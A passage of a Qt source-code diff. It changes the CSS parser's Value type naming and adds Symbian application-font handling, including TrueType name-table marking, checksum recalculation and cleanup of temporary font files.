return ColorData();
@@ -738,7 +738,7 @@ static QColor colorFromData(const ColorData& c, const QPalette &pal)
return QColor();
}
-static BrushData parseBrushValue(const Value &v, const QPalette &pal)
+static BrushData parseBrushValue(const QCss::Value &v, const QPalette &pal)
{
ColorData c = parseColorValue(v);
if (c.type == ColorData::Color) {
@@ -780,7 +780,7 @@ static BrushData parseBrushValue(const Value &v, const QPalette &pal)
return BrushData();
parser.skipSpace();
if (attr.compare(QLatin1String("stop"), Qt::CaseInsensitive) == 0) {
- Value stop, color;
+ QCss::Value stop, color;
parser.next();
if (!parser.parseTerm(&stop)) return BrushData();
parser.skipSpace();
@@ -792,7 +792,7 @@ static BrushData parseBrushValue(const Value &v, const QPalette &pal)
stops.append(QGradientStop(stop.variant.toReal(), colorFromData(cd, pal)));
} else {
parser.next();
- Value value;
+ QCss::Value value;
(void)parser.parseTerm(&value);
if (attr.compare(QLatin1String("spread"), Qt::CaseInsensitive) == 0) {
spread = spreads.indexOf(value.variant.toString());
@@ -856,7 +856,7 @@ static QBrush brushFromData(const BrushData& c, const QPalette &pal)
}
}
-static BorderStyle parseStyleValue(Value v)
+static BorderStyle parseStyleValue(QCss::Value v)
{
if (v.type == Value::KnownIdentifier) {
switch (v.variant.toInt()) {
@@ -941,7 +941,7 @@ void ValueExtractor::borderValue(const Declaration &decl, int *width, QCss::Bord
decl.d->parsed = QVariant::fromValue<BorderData>(data);
}
-static void parseShorthandBackgroundProperty(const QVector<Value> &values, BrushData *brush, QString *image, Repeat *repeat, Qt::Alignment *alignment, const QPalette &pal)
+static void parseShorthandBackgroundProperty(const QVector<QCss::Value> &values, BrushData *brush, QString *image, Repeat *repeat, Qt::Alignment *alignment, const QPalette &pal)
{
*brush = BrushData();
*image = QString();
@@ -949,7 +949,7 @@ static void parseShorthandBackgroundProperty(const QVector<Value> &values, Brush
*alignment = Qt::AlignTop | Qt::AlignLeft;
for (int i = 0; i < values.count(); ++i) {
- const Value &v = values.at(i);
+ const QCss::Value &v = values.at(i);
if (v.type == Value::Uri) {
*image = v.variant.toString();
continue;
@@ -996,7 +996,7 @@ bool ValueExtractor::extractBackground(QBrush *brush, QString *image, Repeat *re
const Declaration &decl = declarations.at(i);
if (decl.d->values.isEmpty())
continue;
- const Value &val = decl.d->values.at(0);
+ const QCss::Value &val = decl.d->values.at(0);
switch (decl.d->propertyId) {
case BackgroundColor:
*brush = decl.brushValue();
@@ -1050,7 +1050,7 @@ bool ValueExtractor::extractBackground(QBrush *brush, QString *image, Repeat *re
return hit;
}
-static bool setFontSizeFromValue(Value value, QFont *font, int *fontSizeAdjustment)
+static bool setFontSizeFromValue(QCss::Value value, QFont *font, int *fontSizeAdjustment)
{
if (value.type == Value::KnownIdentifier) {
bool valid = true;
@@ -1087,7 +1087,7 @@ static bool setFontSizeFromValue(Value value, QFont *font, int *fontSizeAdjustme
return valid;
}
-static bool setFontStyleFromValue(const Value &value, QFont *font)
+static bool setFontStyleFromValue(const QCss::Value &value, QFont *font)
{
if (value.type != Value::KnownIdentifier)
return false ;
@@ -1100,7 +1100,7 @@ static bool setFontStyleFromValue(const Value &value, QFont *font)
return false;
}
-static bool setFontWeightFromValue(const Value &value, QFont *font)
+static bool setFontWeightFromValue(const QCss::Value &value, QFont *font)
{
if (value.type == Value::KnownIdentifier) {
switch (value.variant.toInt()) {
@@ -1121,12 +1121,12 @@ static bool setFontWeightFromValue(const Value &value, QFont *font)
* and set it the \a font
* \returns true if a family was extracted.
*/
-static bool setFontFamilyFromValues(const QVector<Value> &values, QFont *font, int start = 0)
+static bool setFontFamilyFromValues(const QVector<QCss::Value> &values, QFont *font, int start = 0)
{
QString family;
bool shouldAddSpace = false;
for (int i = start; i < values.count(); ++i) {
- const Value &v = values.at(i);
+ const QCss::Value &v = values.at(i);
if (v.type == Value::TermOperatorComma) {
family += QLatin1Char(',');
shouldAddSpace = false;
@@ -1146,7 +1146,7 @@ static bool setFontFamilyFromValues(const QVector<Value> &values, QFont *font, i
return true;
}
-static void setTextDecorationFromValues(const QVector<Value> &values, QFont *font)
+static void setTextDecorationFromValues(const QVector<QCss::Value> &values, QFont *font)
{
for (int i = 0; i < values.count(); ++i) {
if (values.at(i).type != Value::KnownIdentifier)
@@ -1165,7 +1165,7 @@ static void setTextDecorationFromValues(const QVector<Value> &values, QFont *fon
}
}
-static void parseShorthandFontProperty(const QVector<Value> &values, QFont *font, int *fontSizeAdjustment)
+static void parseShorthandFontProperty(const QVector<QCss::Value> &values, QFont *font, int *fontSizeAdjustment)
{
font->setStyle(QFont::StyleNormal);
font->setWeight(QFont::Normal);
@@ -1190,7 +1190,7 @@ static void parseShorthandFontProperty(const QVector<Value> &values, QFont *font
}
}
-static void setFontVariantFromValue(const Value &value, QFont *font)
+static void setFontVariantFromValue(const QCss::Value &value, QFont *font)
{
if (value.type == Value::KnownIdentifier) {
switch (value.variant.toInt()) {
@@ -1201,7 +1201,7 @@ static void setFontVariantFromValue(const Value &value, QFont *font)
}
}
-static void setTextTransformFromValue(const Value &value, QFont *font)
+static void setTextTransformFromValue(const QCss::Value &value, QFont *font)
{
if (value.type == Value::KnownIdentifier) {
switch (value.variant.toInt()) {
@@ -1226,7 +1226,7 @@ bool ValueExtractor::extractFont(QFont *font, int *fontSizeAdjustment)
const Declaration &decl = declarations.at(i);
if (decl.d->values.isEmpty())
continue;
- const Value &val = decl.d->values.at(0);
+ const QCss::Value &val = decl.d->values.at(0);
switch (decl.d->propertyId) {
case FontSize: setFontSizeFromValue(val, font, fontSizeAdjustment); break;
case FontStyle: setFontStyleFromValue(val, font); break;
@@ -1411,7 +1411,7 @@ bool Declaration::realValue(qreal *real, const char *unit) const
return ok;
}
-static bool intValueHelper(const Value &v, int *i, const char *unit)
+static bool intValueHelper(const QCss::Value &v, int *i, const char *unit)
{
if (unit && v.type != Value::Length)
return false;
@@ -1460,7 +1460,7 @@ QRect Declaration::rectValue() const
if (d->parsed.isValid())
return qvariant_cast<QRect>(d->parsed);
- const Value &v = d->values.at(0);
+ const QCss::Value &v = d->values.at(0);
if (v.type != Value::Function)
return QRect();
QStringList func = v.variant.toStringList();
diff --git a/src/gui/text/qcssparser_p.h b/src/gui/text/qcssparser_p.h
index 79c46b3..86bafc9 100644
--- a/src/gui/text/qcssparser_p.h
+++ b/src/gui/text/qcssparser_p.h
@@ -71,6 +71,9 @@
#if defined(Q_OS_VXWORKS) && defined(NONE)
# undef NONE
#endif
+#if defined(Q_OS_INTEGRITY)
+# undef Value
+#endif
QT_BEGIN_NAMESPACE
diff --git a/src/gui/text/qfont_s60.cpp b/src/gui/text/qfont_s60.cpp
index c7d36ef..114191d 100644
--- a/src/gui/text/qfont_s60.cpp
+++ b/src/gui/text/qfont_s60.cpp
@@ -49,13 +49,14 @@ QT_BEGIN_NAMESPACE
#ifdef QT_NO_FREETYPE
Q_GLOBAL_STATIC(QMutex, lastResortFamilyMutex);
+#endif // QT_NO_FREETYPE
+
extern QStringList qt_symbian_fontFamiliesOnFontServer(); // qfontdatabase_s60.cpp
Q_GLOBAL_STATIC_WITH_INITIALIZER(QStringList, fontFamiliesOnFontServer, {
// We are only interested in the initial font families. No Application fonts.
// Therefore, we are allowed to cache the list.
x->append(qt_symbian_fontFamiliesOnFontServer());
});
-#endif // QT_NO_FREETYPE
QString QFont::lastResortFont() const
{
@@ -95,7 +96,20 @@ QString QFont::lastResortFamily() const
const bool isJapaneseOrChineseSystem =
User::Language() == ELangJapanese || User::Language() == ELangPrcChinese;
- return QLatin1String(isJapaneseOrChineseSystem?"Heisei Kaku Gothic S60":"Series 60 Sans");
+ static QString family;
+ if (family.isEmpty()) {
+ QStringList families = qt_symbian_fontFamiliesOnFontServer();
+ const char* const preferredFamilies[] = {"Nokia Sans S60", "Series 60 Sans"};
+ for (int i = 0; i < sizeof preferredFamilies / sizeof preferredFamilies[0]; ++i) {
+ const QString preferredFamily = QLatin1String(preferredFamilies[i]);
+ if (families.contains(preferredFamily)) {
+ family = preferredFamily;
+ break;
+ }
+ }
+ }
+
+ return QLatin1String(isJapaneseOrChineseSystem?"Heisei Kaku Gothic S60":family.toLatin1());
#endif // QT_NO_FREETYPE
}
diff --git a/src/gui/text/qfontdatabase.cpp b/src/gui/text/qfontdatabase.cpp
index 20c72dd..8e92b1a 100644
--- a/src/gui/text/qfontdatabase.cpp
+++ b/src/gui/text/qfontdatabase.cpp
@@ -646,6 +646,10 @@ public:
{ }
~QFontDatabasePrivate() {
free();
+#if defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE)
+ if (symbianExtras)
+ delete symbianExtras;
+#endif
}
QtFontFamily *family(const QString &f, bool = false);
void free() {
@@ -654,12 +658,6 @@ public:
::free(families);
families = 0;
count = 0;
-#if defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE)
- if (symbianExtras) {
- delete symbianExtras;
- symbianExtras = 0;
- }
-#endif
// don't clear the memory fonts!
}
@@ -678,6 +676,10 @@ public:
QVector<FONTSIGNATURE> signatures;
#elif defined(Q_WS_MAC)
ATSFontContainerRef handle;
+#elif defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE)
+ QString temporaryFileName;
+ TInt screenDeviceFontFileId;
+ TUid fontStoreFontFileUid;
#endif
QStringList families;
};
@@ -704,7 +706,7 @@ public:
#if defined(Q_WS_QWS)
QDataStream *stream;
#elif defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE)
- const QSymbianFontDatabaseExtras *symbianExtras;
+ QSymbianFontDatabaseExtras *symbianExtras;
#endif
#if defined(Q_WS_QWS) || defined(Q_WS_QPA)
QStringList fallbackFamilies;
@@ -2573,6 +2575,8 @@ bool QFontDatabasePrivate::isApplicationFont(const QString &fileName)
\note Adding application fonts on Unix/X11 platforms without fontconfig is
currently not supported.
+ \note On Symbian, the font family names get truncated to a length of 20 characters.
+
\sa addApplicationFontFromData(), applicationFontFamilies(), removeApplicationFont()
*/
int QFontDatabase::addApplicationFont(const QString &fileName)
@@ -2603,6 +2607,8 @@ int QFontDatabase::addApplicationFont(const QString &fileName)
\bold{Note:} Adding application fonts on Unix/X11 platforms without fontconfig is
currently not supported.
+ \note On Symbian, the font family names get truncated to a length of 20 characters.
+
\sa addApplicationFont(), applicationFontFamilies(), removeApplicationFont()
*/
int QFontDatabase::addApplicationFontFromData(const QByteArray &fontData)
diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp
index 6ba035e..6d3970e 100644
--- a/src/gui/text/qfontdatabase_s60.cpp
+++ b/src/gui/text/qfontdatabase_s60.cpp
@@ -45,6 +45,8 @@
#include "qfontengine_s60_p.h"
#include "qabstractfileengine.h"
#include "qdesktopservices.h"
+#include "qtemporaryfile.h"
+#include "qtextcodec.h"
#include <private/qpixmap_s60_p.h>
#include <private/qt_s60_p.h>
#include "qendian.h"
@@ -114,7 +116,14 @@ public:
~QSymbianFontDatabaseExtrasImplementation();
const QSymbianTypeFaceExtras *extras(const QString &typeface, bool bold, bool italic) const;
- void addFontFileToFontStore(const QFileInfo &fontFileInfo);
+ void removeAppFontData(QFontDatabasePrivate::ApplicationFont *fnt);
+ static inline bool appFontLimitReached();
+ TUid addFontFileToFontStore(const QFileInfo &fontFileInfo);
+ static void clear();
+
+ static inline QString tempAppFontFolder();
+ static const QString appFontMarkerPrefix;
+ static QString appFontMarker(); // 'qaf<shortUid[+shortPid]>'
struct CFontFromFontStoreReleaser {
static inline void cleanup(CFont *font)
@@ -144,8 +153,75 @@ public:
mutable QList<const QSymbianTypeFaceExtras *> m_extras;
mutable QHash<QString, const QSymbianTypeFaceExtras *> m_extrasHash;
+ mutable QSet<QString> m_applicationFontFamilies;
};
+const QString QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix =
+ QLatin1String("Q");
+
+inline QString QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
+{
+ return QDir::toNativeSeparators(QDir::tempPath()) + QLatin1Char('\\');
+}
+
+QString QSymbianFontDatabaseExtrasImplementation::appFontMarker()
+{
+ static QString result;
+ if (result.isEmpty()) {
+ quint16 id = 0;
+ if (QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
+ // We are allowed to load app fonts even from previous, crashed runs
+ // of this application, since we can access the font tables.
+ const quint32 uid = RProcess().Type().MostDerived().iUid;
+ id = static_cast<quint16>(uid + (uid >> 16));
+ } else {
+ // If no font table Api is available, we must not even load a font
+ // from a previous (crashed) run of this application. Reason: we
+ // won't get the font tables, they are not in the CFontStore.
+ // So, we use the pid, for more uniqueness.
+ id = static_cast<quint16>(RProcess().Id().Id());
+ }
+ result = appFontMarkerPrefix + QString::fromLatin1("%1").arg(id & 0x7fff, 3, 32, QLatin1Char('0'));
+ Q_ASSERT(appFontMarkerPrefix.length() == 1 && result.length() == 4);
+ }
+ return result;
+}
+
+static inline bool qt_symbian_fontNameHasAppFontMarker(const QString &fontName)
+{
+ const int idLength = 3; // Keep in sync with id length in appFontMarker().
+ const QString &prefix = QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix;
+ if (fontName.length() < prefix.length() + idLength
+ || fontName.mid(fontName.length() - idLength - prefix.length(), prefix.length()) != prefix)
+ return false;
+ // Testing if the the id is base32 data
+ for (int i = fontName.length() - idLength; i < fontName.length(); ++i) {
+ const QChar &c = fontName.at(i);
+ if (!(c >= QLatin1Char('0') && c <= QLatin1Char('9')
+ || c >= QLatin1Char('a') && c <= QLatin1Char('v')))
+ return false;
+ }
+ return true;
+}
+
+// If fontName is an application font of this app, prepend the app font marker
+QString qt_symbian_fontNameWithAppFontMarker(const QString &fontName)
+{
+ QFontDatabasePrivate *db = privateDb();
+ Q_ASSERT(db);
+ const QSymbianFontDatabaseExtrasImplementation *dbExtras =
+ static_cast<const QSymbianFontDatabaseExtrasImplementation*>(db->symbianExtras);
+ return dbExtras->m_applicationFontFamilies.contains(fontName) ?
+ fontName + QSymbianFontDatabaseExtrasImplementation::appFontMarker()
+ : fontName;
+}
+
+static inline QString qt_symbian_appFontNameWithoutMarker(const QString &markedFontName)
+{
+ return markedFontName.left(markedFontName.length()
+ - QSymbianFontDatabaseExtrasImplementation::appFontMarker().length());
+}
+
QSymbianFontDatabaseExtrasImplementation::QSymbianFontDatabaseExtrasImplementation()
{
if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
@@ -170,10 +246,13 @@ QSymbianFontDatabaseExtrasImplementation::QSymbianFontDatabaseExtrasImplementati
}
}
-void qt_cleanup_symbianFontDatabaseExtras()
+void QSymbianFontDatabaseExtrasImplementation::clear()
{
+ QFontDatabasePrivate *db = privateDb();
+ if (!db)
+ return;
const QSymbianFontDatabaseExtrasImplementation *dbExtras =
- static_cast<const QSymbianFontDatabaseExtrasImplementation*>(privateDb()->symbianExtras);
+ static_cast<const QSymbianFontDatabaseExtrasImplementation*>(db->symbianExtras);
if (!dbExtras)
return; // initializeDb() has never been called
if (QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
@@ -189,9 +268,32 @@ void qt_cleanup_symbianFontDatabaseExtras()
dbExtras->m_extrasHash.clear();
}
+void qt_cleanup_symbianFontDatabase()
+{
+ QFontDatabasePrivate *db = privateDb();
+ if (!db)
+ return;
+
+ QSymbianFontDatabaseExtrasImplementation::clear();
+
+ if (!db->applicationFonts.isEmpty()) {
+ QFontDatabase::removeAllApplicationFonts();
+ // We remove the left over temporary font files of Qt application.
+ // Active fonts are undeletable since the font server holds a handle
+ // on them, so we do not need to worry to delete other running
+ // applications' fonts.
+ const QDir dir(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder());
+ const QStringList filter(
+ QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix + QLatin1String("*.ttf"));
+ foreach (const QFileInfo &ttfFile, dir.entryInfoList(filter))
+ QFile(ttfFile.absoluteFilePath()).remove();
+ db->applicationFonts.clear();
+ }
+}
+
QSymbianFontDatabaseExtrasImplementation::~QSymbianFontDatabaseExtrasImplementation()
{
- qt_cleanup_symbianFontDatabaseExtras();
+ qt_cleanup_symbianFontDatabase();
if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
delete m_store;
m_heap->Close();
@@ -215,9 +317,10 @@ COpenFont* OpenFontFromBitmapFont(const CBitmapFont* aBitmapFont)
}
#endif // FNTSTORE_H_INLINES_SUPPORT_FMM
-const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(const QString &typeface,
+const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(const QString &aTypeface,
bool bold, bool italic) const
{
+ const QString typeface = qt_symbian_fontNameWithAppFontMarker(aTypeface);
const QString searchKey = typeface + QString::number(int(bold)) + QString::number(int(italic));
if (!m_extrasHash.contains(searchKey)) {
TFontSpec searchSpec(qt_QString2TPtrC(typeface), 1);
@@ -263,12 +366,42 @@ const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(c
return m_extrasHash.value(searchKey);
}
-void QSymbianFontDatabaseExtrasImplementation::addFontFileToFontStore(const QFileInfo &fontFileInfo)
+void QSymbianFontDatabaseExtrasImplementation::removeAppFontData(
+ QFontDatabasePrivate::ApplicationFont *fnt)
+{
+ clear();
+ if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()
+ && fnt->fontStoreFontFileUid.iUid != 0)
+ m_store->RemoveFile(fnt->fontStoreFontFileUid);
+ if (!fnt->families.isEmpty())
+ m_applicationFontFamilies.remove(fnt->families.first());
+ if (fnt->screenDeviceFontFileId != 0)
+ S60->screenDevice()->RemoveFile(fnt->screenDeviceFontFileId);
+ QFile::remove(fnt->temporaryFileName);
+ *fnt = QFontDatabasePrivate::ApplicationFont();
+}
+
+bool QSymbianFontDatabaseExtrasImplementation::appFontLimitReached()
+{
+ QFontDatabasePrivate *db = privateDb();
+ if (!db)
+ return false;
+ const int maxAppFonts = 5;
+ int registeredAppFonts = 0;
+ foreach (const QFontDatabasePrivate::ApplicationFont &appFont, db->applicationFonts)
+ if (!appFont.families.isEmpty() && ++registeredAppFonts == maxAppFonts)
+ return true;
+ return false;
+}
+
+TUid QSymbianFontDatabaseExtrasImplementation::addFontFileToFontStore(const QFileInfo &fontFileInfo)
{
Q_ASSERT(!QSymbianTypeFaceExtras::symbianFontTableApiAvailable());
const QString fontFile = QDir::toNativeSeparators(fontFileInfo.absoluteFilePath());
- TPtrC fontFilePtr(qt_QString2TPtrC(fontFile));
- QT_TRAP_THROWING(m_store->AddFileL(fontFilePtr));
+ const TPtrC fontFilePtr(qt_QString2TPtrC(fontFile));
+ TUid fontUid = {0};
+ TRAP_IGNORE(fontUid = m_store->AddFileL(fontFilePtr));
+ return fontUid;
}
#else // QT_NO_FREETYPE
@@ -331,11 +464,24 @@ void QFontEngineMultiS60::loadEngine(int at)
Q_ASSERT(engines[at]);
}
-static bool addFontToScreenDevice(int screenDeviceFontIndex,
- const QSymbianFontDatabaseExtrasImplementation *dbExtras)
-{
+#ifdef QT_NO_FREETYPE
+static bool registerScreenDeviceFont(int screenDeviceFontIndex,
+ const QSymbianFontDatabaseExtrasImplementation *dbExtras)
+{
TTypefaceSupport typefaceSupport;
S60->screenDevice()->TypefaceSupport(typefaceSupport, screenDeviceFontIndex);
+
+ QString familyName((const QChar*)typefaceSupport.iTypeface.iName.Ptr(), typefaceSupport.iTypeface.iName.Length());
+ if (qt_symbian_fontNameHasAppFontMarker(familyName)) {
+ const QString &marker = QSymbianFontDatabaseExtrasImplementation::appFontMarker();
+ if (familyName.endsWith(marker)) {
+ familyName = qt_symbian_appFontNameWithoutMarker(familyName);
+ dbExtras->m_applicationFontFamilies.insert(familyName);
+ } else {
+ return false; // This was somebody else's application font. Skip it.
+ }
+ }
+
CFont *font; // We have to get a font instance in order to know all the details
TFontSpec fontSpec(typefaceSupport.iTypeface.iName, 11);
if (S60->screenDevice()->GetNearestFontInPixels(font, fontSpec) != KErrNone)
@@ -351,7 +497,6 @@ static bool addFontToScreenDevice(int screenDeviceFontIndex,
styleKey.style = faceAttrib.IsItalic()?QFont::StyleItalic:QFont::StyleNormal;
styleKey.weight = faceAttrib.IsBold()?QFont::Bold:QFont::Normal;
- QString familyName((const QChar *)typefaceSupport.iTypeface.iName.Ptr(), typefaceSupport.iTypeface.iName.Length());
QtFontFamily *family = privateDb()->family(familyName, true);
family->fixedPitch = faceAttrib.IsMonoWidth();
QtFontFoundry *foundry = family->foundry(QString(), true);
@@ -381,6 +526,7 @@ static bool addFontToScreenDevice(int screenDeviceFontIndex,
family->writingSystems[system] = QtFontFamily::Supported;
return true;
}
+#endif
static void initializeDb()
{
@@ -398,7 +544,12 @@ static void initializeDb()
const QSymbianFontDatabaseExtrasImplementation *dbExtras =
static_cast<const QSymbianFontDatabaseExtrasImplementation*>(db->symbianExtras);
for (int i = 0; i < numTypeFaces; i++)
- addFontToScreenDevice(i, dbExtras);
+ registerScreenDeviceFont(i, dbExtras);
+
+ // We have to clear/release all CFonts, here, in case one of the fonts is
+ // an application font of another running Qt app. Otherwise the other Qt app
+ // cannot remove it's application font, anymore -> "Zombie Font".
+ QSymbianFontDatabaseExtrasImplementation::clear();
lock.relock();
@@ -421,20 +572,386 @@ static inline void load(const QString &family = QString(), int script = -1)
initializeDb();
}
+struct OffsetTable {
+ quint32 sfntVersion;
+ quint16 numTables, searchRange, entrySelector, rangeShift;
+};
+
+struct TableRecord {
+ quint32 tag, checkSum, offset, length;
+};
+
+struct NameTableHead {
+ quint16 format, count, stringOffset;
+};
+
+struct NameRecord {
+ quint16 platformID, encodingID, languageID, nameID, length, offset;
+};
+
+static quint32 ttfCalcChecksum(const char *data, quint32 bytesCount)
+{
+ quint32 result = 0;
+ const quint32 *ptr = reinterpret_cast<const quint32*>(data);
+ const quint32 *endPtr =
+ ptr + (bytesCount + sizeof(quint32) - 1) / sizeof(quint32);
+ while (ptr < endPtr) {
+ const quint32 unit32Value = *ptr++;
+ result += qFromBigEndian(unit32Value);
+ }
+ return result;
+}
+
+static inline quint32 toDWordBoundary(quint32 value)
+{
+ return (value + 3) & ~3;
+}
+
+static inline quint32 dWordPadding(quint32 value)
+{
+ return (4 - (value & 3)) & 3;
+}
+
+static inline bool ttfMarkNameTable(QByteArray &table, const QString &marker)
+{
+ const quint32 tableLength = static_cast<quint32>(table.size());
+
+ if (tableLength > 50000 // hard limit
+ || tableLength < sizeof(NameTableHead)) // corrupt name table
+ return false;
+
+ const NameTableHead *head = reinterpret_cast<const NameTableHead*>(table.constData());
+ const quint16 count = qFromBigEndian(head->count);
+ const quint16 stringOffset = qFromBigEndian(head->stringOffset);
+ if (count > 200 // hard limit
+ || stringOffset >= tableLength // corrupt name table
+ || sizeof(NameTableHead) + count * sizeof(NameRecord) >= tableLength) // corrupt name table
+ return false;
+
+ QTextEncoder encoder(QTextCodec::codecForName("UTF-16BE"), QTextCodec::IgnoreHeader);
+ const QByteArray markerUtf16BE = encoder.fromUnicode(marker);
+ const QByteArray markerAscii = marker.toAscii();
+
+ QByteArray markedTable;
+ markedTable.reserve(tableLength + marker.length() * 20); // Original size plus some extra
+ markedTable.append(table, stringOffset);
+ QByteArray markedStrings;
+ quint32 stringDataCount = stringOffset;
+ for (quint16 i = 0; i < count; ++i) {
+ const quint32 nameRecordOffset = sizeof(NameTableHead) + sizeof(NameRecord) * i;
+ NameRecord *nameRecord =
+ reinterpret_cast<NameRecord*>(markedTable.data() + nameRecordOffset);
+ const quint16 nameID = qFromBigEndian(nameRecord->nameID);
+ const quint16 platformID = qFromBigEndian(nameRecord->platformID);
+ const quint16 encodingID = qFromBigEndian(nameRecord->encodingID);
+ const quint16 offset = qFromBigEndian(nameRecord->offset);
+ const quint16 length = qFromBigEndian(nameRecord->length);
+ stringDataCount += length;
+ if (stringDataCount > 80000 // hard limit. String data may be > name table size. Multiple records can reference the same string.
+ || static_cast<quint32>(stringOffset + offset + length) > tableLength) // String outside bounds
+ return false;
+ const bool needsMarker =
+ nameID == 1 || nameID == 3 || nameID == 4 || nameID == 16 || nameID == 21;
+ const bool isUnicode =
+ platformID == 0 || platformID == 3 && encodingID == 1;
+ const QByteArray originalString =
+ QByteArray::fromRawData(table.constData() + stringOffset + offset, length);
+ QByteArray markedString;
+ if (needsMarker) {
+ const int maxBytesLength = (KMaxTypefaceNameLength - marker.length()) * (isUnicode ? 2 : 1);
+ markedString = originalString.left(maxBytesLength) + (isUnicode ? markerUtf16BE : markerAscii);
+ } else {
+ markedString = originalString;
+ }
+ nameRecord->offset = qToBigEndian(static_cast<quint16>(markedStrings.length()));
+ nameRecord->length = qToBigEndian(static_cast<quint16>(markedString.length()));
+ markedStrings.append(markedString);
+ }
+ markedTable.append(markedStrings);
+ table = markedTable;
+ return true;
+}
+
+const quint32 ttfMaxFileSize = 3500000;
+
+static inline bool ttfMarkAppFont(QByteArray &ttf, const QString &marker)
+{
+ const quint32 ttfChecksumNumber = 0xb1b0afba;
+ const quint32 alignment = 4;
+ const quint32 ttfLength = static_cast<quint32>(ttf.size());
+ if (ttfLength > ttfMaxFileSize // hard limit
+ || ttfLength % alignment != 0 // ttf sizes are always factors of 4
+ || ttfLength <= sizeof(OffsetTable) // ttf too short
+ || ttfCalcChecksum(ttf.constData(), ttf.size()) != ttfChecksumNumber) // ttf checksum is invalid
+ return false;
+
+ const OffsetTable *offsetTable = reinterpret_cast<const OffsetTable*>(ttf.constData());
+ const quint16 numTables = qFromBigEndian(offsetTable->numTables);
+ const quint32 recordsLength =
+ toDWordBoundary(sizeof(OffsetTable) + numTables * sizeof(TableRecord));
+ if (numTables > 30 // hard limit
+ || recordsLength + numTables * alignment > ttfLength) // Corrupt ttf. Tables would not fit, even if empty.
+ return false;
+
+ QByteArray markedTtf;
+ markedTtf.reserve(ttfLength + marker.length() * 20); // Original size plus some extra
+ markedTtf.append(ttf.constData(), recordsLength);
+
+ const quint32 ttfCheckSumAdjustmentOffset = 8; // Offset from the start of 'head'
+ int indexOfHeadTable = -1;
+ quint32 ttfDataSize = recordsLength;
+ typedef QPair<quint32, quint32> Range;
+ QList<Range> memoryRanges;
+ memoryRanges.reserve(numTables);
+ for (int i = 0; i < numTables; ++i) {
+ TableRecord *tableRecord =
+ reinterpret_cast<TableRecord*>(markedTtf.data() + sizeof(OffsetTable) + i * sizeof(TableRecord));
+ const quint32 offset = qFromBigEndian(tableRecord->offset);
+ const quint32 length = qFromBigEndian(tableRecord->length);
+ const quint32 lengthAligned = toDWordBoundary(length);
+ ttfDataSize += lengthAligned;
+ if (offset < recordsLength // must not intersect ttf header/records
+ || offset % alignment != 0 // must be aligned
+ || offset > ttfLength - alignment // table out of bounds
+ || offset + lengthAligned > ttfLength // table out of bounds
+ || ttfDataSize > ttfLength) // tables would not fit into the ttf
+ return false;
+
+ foreach (const Range &range, memoryRanges)
+ if (offset < range.first + range.second && offset + lengthAligned > range.first)
+ return false; // Overlaps with another table
+ memoryRanges.append(Range(offset, lengthAligned));
+
+ quint32 checkSum = qFromBigEndian(tableRecord->checkSum);
+ if (tableRecord->tag == qToBigEndian(static_cast<quint32>('head'))) {
+ if (length < ttfCheckSumAdjustmentOffset + sizeof(quint32))
+ return false; // Invalid 'head' table
+ const quint32 *checkSumAdjustmentTag =
+ reinterpret_cast<const quint32*>(ttf.constData() + offset + ttfCheckSumAdjustmentOffset);
+ const quint32 checkSumAdjustment = qFromBigEndian(*checkSumAdjustmentTag);
+ checkSum += checkSumAdjustment;
+ indexOfHeadTable = i; // For the ttf checksum re-calculation, later
+ }
+ if (checkSum != ttfCalcChecksum(ttf.constData() + offset, length))
+ return false; // Table checksum is invalid
+
+ bool updateTableChecksum = false;
+ QByteArray table;
+ if (tableRecord->tag == qToBigEndian(static_cast<quint32>('name'))) {
+ table = QByteArray(ttf.constData() + offset, length);
+ if (!ttfMarkNameTable(table, marker))
+ return false; // Name table was not markable.
+ updateTableChecksum = true;
+ } else {
+ table = QByteArray::fromRawData(ttf.constData() + offset, length);
+ }
+
+ tableRecord->offset = qToBigEndian(markedTtf.size());
+ tableRecord->length = qToBigEndian(table.size());
+ markedTtf.append(table);
+ markedTtf.append(QByteArray(dWordPadding(table.size()), 0)); // 0-padding
+ if (updateTableChecksum) {
+ TableRecord *tableRecord = // Need to recalculate, since markedTtf changed
+ reinterpret_cast<TableRecord*>(markedTtf.data() + sizeof(OffsetTable) + i * sizeof(TableRecord));
+ const quint32 offset = qFromBigEndian(tableRecord->offset);
+ const quint32 length = qFromBigEndian(tableRecord->length);
+ tableRecord->checkSum = qToBigEndian(ttfCalcChecksum(markedTtf.constData() + offset, length));
+ }
+ }
+ if (indexOfHeadTable == -1 // 'head' table is mandatory
+ || ttfDataSize != ttfLength) // We do not allow ttf data "holes". Neither does Symbian.
+ return false;
+ TableRecord *headRecord =
+ reinterpret_cast<TableRecord*>(markedTtf.data() + sizeof(OffsetTable) + indexOfHeadTable * sizeof(TableRecord));
+ quint32 *checkSumAdjustmentTag =
+ reinterpret_cast<quint32*>(markedTtf.data() + qFromBigEndian(headRecord->offset) + ttfCheckSumAdjustmentOffset);
+ *checkSumAdjustmentTag = 0;
+ const quint32 ttfChecksum = ttfCalcChecksum(markedTtf.constData(), markedTtf.count());
+ *checkSumAdjustmentTag = qToBigEndian(ttfChecksumNumber - ttfChecksum);
+ ttf = markedTtf;
+ return true;
+}
+
+static inline bool ttfCanSymbianLoadFont(const QByteArray &data, const QString &fileName)
+{
+ bool result = false;
+ QString ttfFileName;
+ QFile tempFileGuard;
+ QFileInfo info(fileName);
+ if (!data.isEmpty()) {
+ QTemporaryFile tempfile(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
+ + QSymbianFontDatabaseExtrasImplementation::appFontMarker()
+ + QLatin1String("XXXXXX.ttf"));
